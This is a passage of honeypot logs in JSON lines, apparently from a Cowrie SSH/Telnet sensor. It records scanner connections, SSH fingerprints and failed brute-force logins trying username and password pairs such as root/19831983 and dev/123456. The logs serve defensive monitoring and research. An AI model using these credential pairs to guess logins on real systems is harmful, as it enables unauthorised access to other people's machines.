sa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:11.788243Z","src_ip":"103.75.183.219","session":"c352e927019e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19831983","message":"login attempt [root/19831983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:12.537581Z","src_ip":"103.75.183.219","session":"c352e927019e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:13.794456Z","src_ip":"103.75.183.219","session":"c352e927019e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.179.156.129","src_port":34491,"dst_ip":"10.17.0.5","dst_port":23,"session":"44443c6f713e","protocol":"telnet","message":"New connection: 61.179.156.129:34491 (10.17.0.5:23) [session: 44443c6f713e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:20.854845Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48444,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa7dca4ebd08","protocol":"ssh","message":"New connection: 37.233.85.71:48444 (159.203.135.109:22) [session: aa7dca4ebd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:23.923754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:23.931269Z","src_ip":"37.233.85.71","session":"aa7dca4ebd08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:24.043057Z","src_ip":"37.233.85.71","session":"aa7dca4ebd08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timosha","message":"login attempt [root/timosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:24.372631Z","src_ip":"37.233.85.71","session":"aa7dca4ebd08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.08021116256714,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:24.807192Z","src_ip":"192.119.13.58","session":"503c8643ffd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:25.485171Z","src_ip":"37.233.85.71","session":"aa7dca4ebd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35838,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7e3af07cbb","protocol":"ssh","message":"New connection: 89.223.69.22:35838 (10.17.0.5:22) [session: 2f7e3af07cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:27.326622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:27.332009Z","src_ip":"89.223.69.22","session":"2f7e3af07cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:27.449900Z","src_ip":"89.223.69.22","session":"2f7e3af07cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53380,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad086205d1e8","protocol":"telnet","message":"New connection: 192.119.13.58:53380 (10.17.0.5:23) [session: ad086205d1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:27.620905Z"}
{"eventid":"cowrie.session.closed","duration":0.005751132965087891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:27.626522Z","src_ip":"192.119.13.58","session":"ad086205d1e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15070986747742,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:27.655441Z","src_ip":"192.119.13.58","session":"7a9f3bf09a77","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfcgjhn","message":"login attempt [root/gfcgjhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:27.789408Z","src_ip":"89.223.69.22","session":"2f7e3af07cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:28.905277Z","src_ip":"89.223.69.22","session":"2f7e3af07cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":58322,"dst_ip":"159.203.135.109","dst_port":22,"session":"074c02e3604c","protocol":"ssh","message":"New connection: 103.149.28.157:58322 (159.203.135.109:22) [session: 074c02e3604c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:34.182159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:34.187892Z","src_ip":"103.149.28.157","session":"074c02e3604c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:34.436394Z","src_ip":"103.149.28.157","session":"074c02e3604c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.29946494102478,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:35.154211Z","src_ip":"61.179.156.129","session":"44443c6f713e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:35.183261Z","src_ip":"103.149.28.157","session":"074c02e3604c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:36.441363Z","src_ip":"103.149.28.157","session":"074c02e3604c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.74939179420471,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:38.323568Z","src_ip":"192.119.13.58","session":"984afba99cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.73549938201904,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:44.586347Z","src_ip":"192.119.13.58","session":"7f225b758526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55662,"dst_ip":"10.17.0.5","dst_port":23,"session":"be79738e856c","protocol":"telnet","message":"New connection: 192.119.13.58:55662 (10.17.0.5:23) [session: be79738e856c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:49.895364Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39794,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3158055bb18","protocol":"telnet","message":"New connection: 192.119.13.58:39794 (10.17.0.5:23) [session: b3158055bb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:53.171717Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44480,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ebd84c7b9df","protocol":"telnet","message":"New connection: 192.119.13.58:44480 (10.17.0.5:23) [session: 8ebd84c7b9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:54.435781Z"}
{"eventid":"cowrie.session.closed","duration":46.42939877510071,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:57.985006Z","src_ip":"192.119.13.58","session":"0d487ce1f495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.416080951690674,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:02.851739Z","src_ip":"192.119.13.58","session":"8ebd84c7b9df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41508,"dst_ip":"10.17.0.5","dst_port":23,"session":"647d37e8f0c8","protocol":"telnet","message":"New connection: 192.119.13.58:41508 (10.17.0.5:23) [session: 647d37e8f0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:22.344795Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43546,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ac03de0933","protocol":"telnet","message":"New connection: 192.119.13.58:43546 (10.17.0.5:23) [session: 00ac03de0933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:22.822138Z"}
{"eventid":"cowrie.session.closed","duration":34.188348054885864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:24.083564Z","src_ip":"192.119.13.58","session":"be79738e856c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":37691,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc1b0226d0e","protocol":"ssh","message":"New connection: 103.24.63.85:37691 (159.203.135.109:22) [session: 3bc1b0226d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:26.983886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:27.012514Z","src_ip":"103.24.63.85","session":"3bc1b0226d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:27.179781Z","src_ip":"103.24.63.85","session":"3bc1b0226d0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:28.174745Z","src_ip":"103.24.63.85","session":"3bc1b0226d0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41110,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a2b95126d15","protocol":"telnet","message":"New connection: 192.119.13.58:41110 (10.17.0.5:23) [session: 3a2b95126d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:29.283672Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:29.371819Z","src_ip":"103.24.63.85","session":"3bc1b0226d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.401811838150024,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:31.573423Z","src_ip":"192.119.13.58","session":"b3158055bb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":1459,"dst_ip":"159.203.135.109","dst_port":22,"session":"153c51e7615f","protocol":"ssh","message":"New connection: 103.24.63.85:1459 (159.203.135.109:22) [session: 153c51e7615f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:42.223329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:42.325996Z","src_ip":"103.24.63.85","session":"153c51e7615f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:42.524839Z","src_ip":"103.24.63.85","session":"153c51e7615f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"123456","message":"login attempt [oscar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:44.005078Z","src_ip":"103.24.63.85","session":"153c51e7615f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":33938,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa3a89f30b0","protocol":"ssh","message":"New connection: 14.224.227.189:33938 (159.203.135.109:22) [session: 2aa3a89f30b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:44.461984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:44.465809Z","src_ip":"14.224.227.189","session":"2aa3a89f30b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:44.713323Z","src_ip":"14.224.227.189","session":"2aa3a89f30b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:45.205978Z","src_ip":"103.24.63.85","session":"153c51e7615f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201201","message":"login attempt [root/201201] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:45.715609Z","src_ip":"14.224.227.189","session":"2aa3a89f30b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:46.963054Z","src_ip":"14.224.227.189","session":"2aa3a89f30b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55874,"dst_ip":"10.17.0.5","dst_port":23,"session":"9843bf56b762","protocol":"telnet","message":"New connection: 192.119.13.58:55874 (10.17.0.5:23) [session: 9843bf56b762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:47.239048Z"}
